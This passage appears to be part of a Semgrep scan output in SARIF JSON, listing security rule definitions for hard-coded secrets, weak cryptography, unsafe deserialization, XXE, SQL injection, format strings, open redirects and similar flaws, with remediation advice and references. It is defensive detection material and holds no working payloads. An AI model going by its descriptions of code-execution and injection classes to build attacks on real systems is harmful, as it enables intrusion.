detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token","id":"generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token","name":"generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic algorithm. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"help":{"markdown":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic algorithm. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic algorithm. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"helpUri":"https://semgrep.dev/r/javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm","id":"javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm","name":"javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a hardcoded hmac key. Avoid hardcoding secrets and consider using an alternate option such as reading the secret from a config file or using an environment variable."},"help":{"markdown":"Detected a hardcoded hmac key. Avoid hardcoding secrets and consider using an alternate option such as reading the secret from a config file or using an environment variable.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key)\n - [https://rules.sonarsource.com/javascript/RSPEC-2068](https://rules.sonarsource.com/javascript/RSPEC-2068)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#key-management](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#key-management)\n","text":"Detected a hardcoded hmac key. Avoid hardcoding secrets and consider using an alternate option such as reading the secret from a config file or using an environment variable."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key","id":"javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key","name":"javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`."},"help":{"markdown":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.wildcard-assume-role.wildcard-assume-role)\n - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)\n","text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.wildcard-assume-role.wildcard-assume-role","id":"terraform.aws.security.wildcard-assume-role.wildcard-assume-role","name":"terraform.aws.security.wildcard-assume-role.wildcard-assume-role","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.wildcard-assume-role.wildcard-assume-role"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization","id":"python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization","name":"python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By setting `allErrors: true` in `Ajv` library, all error objects will be allocated without limit. This allows the attacker to produce a huge number of errors which can lead to denial of service. Do not use `allErrors: true` in production."},"help":{"markdown":"By setting `allErrors: true` in `Ajv` library, all error objects will be allocated without limit. This allows the attacker to produce a huge number of errors which can lead to denial of service. Do not use `allErrors: true` in production.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true)\n - [https://ajv.js.org/options.html#allerrors](https://ajv.js.org/options.html#allerrors)\n","text":"By setting `allErrors: true` in `Ajv` library, all error objects will be allocated without limit. This allows the attacker to produce a huge number of errors which can lead to denial of service. Do not use `allErrors: true` in production."},"helpUri":"https://semgrep.dev/r/javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true","id":"javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true","name":"javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true","properties":{"precision":"very-high","tags":["CWE-400: Uncontrolled Resource Consumption","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside Command. Audit the input to 'exec.Command'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside Command. Audit the input to 'exec.Command'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-command.dangerous-exec-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside Command. Audit the input to 'exec.Command'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-command.dangerous-exec-command","id":"go.lang.security.audit.dangerous-exec-command.dangerous-exec-command","name":"go.lang.security.audit.dangerous-exec-command.dangerous-exec-command","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-exec-command.dangerous-exec-command"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.hardcoded-password.hardcoded-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.hardcoded-password.hardcoded-password","id":"rust.secrets.sqlx.hardcoded-password.hardcoded-password","name":"rust.secrets.sqlx.hardcoded-password.hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.hardcoded-password.hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to contain a hardcoded encryption key for use with the Realm database. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt or decrypt Realm data. Cryptographic keys should be unique, and randomly generated per user, per client."},"help":{"markdown":"The application was observed to contain a hardcoded encryption key for use with the Realm database. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt or decrypt Realm data. Cryptographic keys should be unique, and randomly generated per user, per client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key)\n - [https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22](https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/](https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/)\n","text":"The application was observed to contain a hardcoded encryption key for use with the Realm database. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt or decrypt Realm data. Cryptographic keys should be unique, and randomly generated per user, per client."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key","id":"swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key","name":"swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key","properties":{"precision":"very-high","tags":["CWE-321: Use of Hard-coded Cryptographic Key","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx](https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx)\n - [https://lxml.de/parsing.html](https://lxml.de/parsing.html)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml","id":"python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml","name":"python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Externally controlled data influences a format string. This can allow an attacker to leak information from memory or trigger memory corruption. Format strings should be constant strings to prevent these issues. If you need to print a user-controlled string then you can use `%s`."},"help":{"markdown":"Externally controlled data influences a format string. This can allow an attacker to leak information from memory or trigger memory corruption. Format strings should be constant strings to prevent these issues. If you need to print a user-controlled string then you can use `%s`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.format-string.format-string-injection.format-string-injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings](https://wiki.sei.cmu.edu/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings)\n","text":"Externally controlled data influences a format string. This can allow an attacker to leak information from memory or trigger memory corruption. Format strings should be constant strings to prevent these issues. If you need to print a user-controlled string then you can use `%s`."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.format-string.format-string-injection.format-string-injection","id":"cpp.lang.security.format-string.format-string-injection.format-string-injection","name":"cpp.lang.security.format-string.format-string-injection.format-string-injection","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.format-string.format-string-injection.format-string-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-code-injection.laravel-code-injection)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-code-injection.laravel-code-injection","id":"php.laravel.security.laravel-code-injection.laravel-code-injection","name":"php.laravel.security.laravel-code-injection.laravel-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-code-injection.laravel-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi","id":"python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi","name":"python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-pickle)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-pickle","id":"python.lang.security.deserialization.pickle.avoid-pickle","name":"python.lang.security.deserialization.pickle.avoid-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.pickle.avoid-pickle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements instead. You can obtain a PreparedStatement using 'SqlCommand' and 'SqlParameter'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements instead. You can obtain a PreparedStatement using 'SqlCommand' and 'SqlParameter'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.sqli.csharp-sqli.csharp-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements instead. You can obtain a PreparedStatement using 'SqlCommand' and 'SqlParameter'."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.sqli.csharp-sqli.csharp-sqli","id":"csharp.lang.security.sqli.csharp-sqli.csharp-sqli","name":"csharp.lang.security.sqli.csharp-sqli.csharp-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.sqli.csharp-sqli.csharp-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Stripe Restricted API Key detected"},"help":{"markdown":"Stripe Restricted API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Stripe Restricted API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key","id":"generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key","name":"generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application accepts potentially user-controlled input `$PROP` which can control the location of the current window context. This can lead two types of vulnerabilities open-redirection and Cross-Site-Scripting (XSS) with JavaScript URIs. It is recommended to validate user-controllable input before allowing it to control the redirection."},"help":{"markdown":"The application accepts potentially user-controlled input `$PROP` which can control the location of the current window context. This can lead two types of vulnerabilities open-redirection and Cross-Site-Scripting (XSS) with JavaScript URIs. It is recommended to validate user-controllable input before allowing it to control the redirection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.open-redirect.js-open-redirect)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application accepts potentially user-controlled input `$PROP` which can control the location of the current window context. This can lead two types of vulnerabilities open-redirection and Cross-Site-Scripting (XSS) with JavaScript URIs. It is recommended to validate user-controllable input before allowing it to control the redirection."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.open-redirect.js-open-redirect","id":"javascript.browser.security.open-redirect.js-open-redirect","name":"javascript.browser.security.open-redirect.js-open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.open-redirect.js-open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$FUNC` returns a pointer to the memory owned by `$STR`. This pointer is invalid after `$STR` goes out of scope, which can trigger a use after free."},"help":{"markdown":"`$FUNC` returns a pointer to the memory owned by `$STR`. This pointer is invalid after `$STR` goes out of scope, which can trigger a use after free.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.return-c-str.return-c-str)\n - [https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations](https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"`$FUNC` returns a pointer to the memory owned by `$STR`. This pointer is invalid after `$STR` goes out of scope, which can trigger a use after free."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.return-c-str.return-c-str","id":"cpp.lang.security.strings.return-c-str.return-c-str","name":"cpp.lang.security.strings.return-c-str.return-c-str","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.return-c-str.return-c-str"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security 